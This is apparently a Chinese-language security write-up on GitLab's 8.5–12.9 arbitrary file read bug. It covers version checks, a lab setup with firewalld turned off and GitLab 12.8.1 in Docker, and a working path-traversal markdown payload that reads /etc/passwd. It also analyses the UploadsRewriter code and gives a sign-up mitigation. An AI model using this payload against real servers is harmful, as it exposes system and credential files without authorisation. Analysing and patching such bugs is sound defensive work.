GitLab 是一个用于仓库管理系统的开源项目,使用Git作为代码管理工具,并在此基础上搭建起来的web服务。
GitLab是由GitLabInc.开发
使用MIT许可证的基于网络的Git仓库管理工具,且具有wiki和issue跟踪功能。使用Git作为代码管理工具,并在此基础上搭建起来的web服务。
https://git-lab-domain.com/help
如果没有相关版本,那么需要先登录
如果您是运维人员,可以输入以下命令查看:
$ cat /opt/gitlab/embedded/service/gitlab-rails/VERSION
12.8.1-ee
在Gitlab 8.5-12.9版本中,存在一处任意文件读取漏洞,攻击者可以利用该漏洞,在不需要特权的状态下,读取任意文件,造成严重信息泄露,从而导致进一步被攻击的风险。
GitLab GitLab CE/EE >=8.5 and <=12.9
GitLab GitLab CE >=8.5,<=12.9
[root@ingeek bin4xin]# systemctl stop firewalld
# CentOS关闭防火墙
[root@ingeek bin4xin]# systemctl disable firewalld.service
# CentOS取消防火墙自启动
[root@ingeek bin4xin]# systemctl status firewalld
● firewalld.service - firewalld - dynamic firewall daemon
Loaded: loaded (/usr/lib/systemd/system/firewalld.service; enabled; vendor preset: enabled)
Active: inactive (dead) since Wed 2022-05-04 22:11:30 EDT; 4s ago
Docs: man:firewalld(1)
Process: 7299 ExecStart=/usr/sbin/firewalld --nofork --nopid $FIREWALLD_ARGS (code=exited, status=0/SUCCESS)
Main PID: 7299 (code=exited, status=0/SUCCESS)
May 04 22:10:48 ingeek systemd[1]: Stopped firewalld - dynamic firewall daemon.
May 04 22:10:48 ingeek systemd[1]: Starting firewalld - dynamic firewall daemon...
May 04 22:10:48 ingeek systemd[1]: Started firewalld - dynamic firewall daemon.
May 04 22:10:48 ingeek firewalld[7299]: WARNING: AllowZoneDrifting is enabled. This is considered an insecure configuration option. It will be removed in a future release. Please consider disabling it now.
May 04 22:11:29 ingeek systemd[1]: Stopping firewalld - dynamic firewall daemon...
May 04 22:11:30 ingeek systemd[1]: Stopped firewalld - dynamic firewall daemon.
或者Docker:Replicating the GitLab CE 12.8.1 Environment
$ sudo apt install docker.io
$ docker pull gitlab/gitlab-ce:12.8.1-ce.0
$ docker run gitlab/gitlab-ce:12.8.1-ce.0
It will take few mins to run the container to start, in a new terminal we can check the docker process and
simultaneously get a shell on it.
![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../etc/passwd)
显而易见,当创建issues的时候,我们提交上去的markdown代码被解析成了html代码,即:
<img src="https://git-lab-domain.com/ysoserial/ysoserial/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../etc/passwd" alt="a">
那么问题肯定出现在代码移动时,错误解析到了本地文件上,那么是哪里呢?
带着这样的疑问,去查看了相关的文章和代码;
作者提出:
UploadsRewriter
不验证文件名,允许在将问题移动到新项目时通过目录遍历复制任意文件,寻找引用的模式如下: MARKDOWN_PATTERN = %r{\!?\[.*?\]\(/uploads/(?<secret>[0-9a-f]{32})/(?<file>.*?)\)}.freeze
%r
为正则表达,用法可以参考:
并且:
UploadsRewriter
的使用:#/opt/gitlab/embedded/service/gitlab-rails/lib/gitlab/gfm/uploads_rewriter.rb:
@text.gsub(@pattern) do |markdown|
file = find_file(@source_project, $~[:secret], $~[:file])
break markdown unless file.try(:exists?)
klass = target_parent.is_a?(Namespace) ? NamespaceFileUploader : FileUploader
moved = klass.copy_to(file, target_parent)
...
def find_file(project, secret, file)
uploader = FileUploader.new(project, secret: secret)
uploader.retrieve_from_store!(file)
uploader
end
大部分问题都是通过匿名用户注册后,在仓库内操作导致的问题,故:取消游客的注册能够减少80%的问题
以Admin用户登录后,进入:
Admin Area
-> Setting
-> Sign-up restrictions
确保Sign-up Restrictions
下 Sign-up enabled
为未勾选状态。